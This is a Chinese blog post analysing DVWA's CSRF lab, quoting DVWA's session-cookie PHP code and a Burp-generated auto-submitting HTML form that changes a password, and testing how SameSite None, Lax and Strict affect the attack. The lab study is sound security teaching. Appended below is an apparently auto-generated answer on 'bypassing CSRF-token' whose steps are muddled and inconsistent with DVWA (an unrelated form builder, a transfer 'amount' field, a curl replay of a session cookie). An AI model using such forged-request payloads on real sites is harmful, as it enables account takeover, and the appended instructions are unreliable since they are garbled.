DVWA-CSRF-samesite分析

2 篇文章 0 订阅

拿DVWA的CSRF为例子
接DVWA的分析,发现其实Impossible的PHPSESSID是设置的samesite=1.
参数的意思参考Set-Cookie

SameSite:控制 cookie 是否随跨站请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)。
下面用DVWA CSRF Low Level来分析下samsite的设置。

DVWA CSRF

Cookie一共包含security和PHPSESSID,这里讲下PHPSESSID(session的cookie)。
在dvwaPage.inc.php中,dvwa_start_session()函数先通过dvwaSecurityLevelGet()函数获得security_level。
之后如果security_level为impossible,则samesite设置为Strict。否则为None(跨站携带cookie)。不同设置的详细解释在Cookie 的 SameSite 属性
最后通过session_set_cookie_params设置session 的cookie。

function dvwa_start_session() {
	// This will setup the session cookie based on
	// the security level.

	$security_level = dvwaSecurityLevelGet();
	if ($security_level == 'impossible') {
		$httponly = true;
		$samesite = "Strict";
	}
	else {
		$httponly = false;
		$samesite = "";
	}

	$maxlifetime = 86400;
	$secure = false;
	$domain = parse_url($_SERVER['HTTP_HOST'], PHP_URL_HOST);

	/*
	 * Need to do this as you can't update the settings of a session
	 * while it is open. So check if one is open, close it if needed
	 * then update the values and start it again.
	*/

	if (session_id()) {
		session_write_close();
	}

	session_set_cookie_params([
		'lifetime' => $maxlifetime,
		'path' => '/',
		'domain' => $domain,
		'secure' => $secure,
		'httponly' => $httponly,
		'samesite' => $samesite
	]);

	session_start();

	// This is the call that will force a new Set-Cookie header with the right flags
	session_regenerate_id();
}
function dvwaSecurityLevelGet() {
	global $_DVWA;

	// If there is a security cookie, that takes priority.
	if (isset($_COOKIE['security'])) {
		return $_COOKIE[ 'security' ];
	}

	// If not, check to see if authentication is disabled, if it is, use
	// the default security level.
	if (in_array("disable_authentication", $_DVWA) && $_DVWA['disable_authentication']) {
		return $_DVWA[ 'default_security_level' ];
	}

	// Worse case, set the level to impossible.
	return 'impossible';
}

与之前在DVWA SCRF的利用不同,因为samesite是跨站设置。所以先用burp抓个包,生成csrf的html,放在kali中。
kali中用python开启简单http服务,在用浏览器去请求kali网站的html,模拟跨站攻击。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.20.156/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

现在这个源码,可以在CSRF Low Level界面,产生漏洞,修改密码。
此时浏览器Cookie中PHPSESSID的samestie为None。
在这里插入图片描述
之后将红框位置改为Lax
在这里插入图片描述
看下Lax的解释,我们的表单是Get方式提交的,所以设置了Lax,应该还是可以实现CSRF攻击的
在这里插入图片描述
验证CSRF漏洞,发现PHPSESSID的samesite为Lax,并且漏洞还是存在的。
在这里插入图片描述
最后我们把samesite设置为Strict,再次进行验证,发现无法修改密码。
在这里插入图片描述
用burp抓包分析发现,请求修改密码包Cookie中并没有PHPSESSID
在这里插入图片描述
PHPSESSID中samesite设置为Strict。
在这里插入图片描述

  • 24
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我们需要在本地搭建一个DVWA环境。DVWA是一个漏洞练习平台,可以用于学习和测试Web应用程序的安全性。您可以从以下网站下载DVWA并进行安装:https://github.com/ethicalhack3r/DVWA。 接下来,我们需要绕过CSRF-token进行攻击。CSRF-token是一种防止CSRF攻击的措施,它是一个随机生成的字符串,用于验证请求是否来自合法的来源。在DVWA中,我们可以通过修改一个cookie来绕过CSRF-token。 下面是具体的攻击步骤: 1. 打开DVWA,登录并进入CSRF实验页面。 2. 在Chrome浏览器中打开开发者工具,切换到“Network”选项卡,勾选“Preserve log”选项。 3. 在实验页面中点击“View Source”按钮,查看页面源代码。 4. 在源代码中找到与CSRF-token相关的代码,我们可以看到以下代码: ``` <input type="hidden" name="user_token" value="<?php echo $_SESSION['user_token']; ?>"> ``` 5. 复制CSRF-token,它通常位于name="user_token"的input标签中,value属性的值为一个长字符串。 6. 在开发者工具中找到与此页面对应的请求,点击它打开请求详情。 7. 在请求详情中找到Cookie选项卡,找到名为“PHPSESSID”的cookie并复制它的值。 8. 使用一个新的浏览器标签打开一个在线表单生成器,例如:https://www.123formbuilder.com/free-form-templates/Online-Order-Form-3578911/。 9. 在表单生成器中创建一个POST表单,将请求方法设置为POST,并填写以下表单字段: ``` action: http://your-dvwa-site.com/vulnerabilities/csrf/ amount: 1000 ``` 10. 在开发者工具中找到此页面对应的请求,复制请求头中的所有内容。 11. 使用curl或其他工具发送POST请求,将以上内容作为请求头发送,例如: ``` curl -X POST 'http://your-dvwa-site.com/vulnerabilities/csrf/' \ -H 'Cookie: PHPSESSID=your-session-id-here' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Referer: http://your-dvwa-site.com/vulnerabilities/csrf/' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'Origin: http://your-dvwa-site.com' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Accept-Language: en-US,en;q=0.9' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \ --data 'user_token=your-csrf-token-here&amount=1000&action=transfer' ``` 12. 您应该会看到成功的响应。 总之,这个实验展示了CSRF攻击的危害性以及如何绕过CSRF-token进行攻击。在实际应用中,我们应该采取更加安全的措施来防止CSRF攻击,例如使用双重身份验证或者更加严格的CSRF-token验证。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值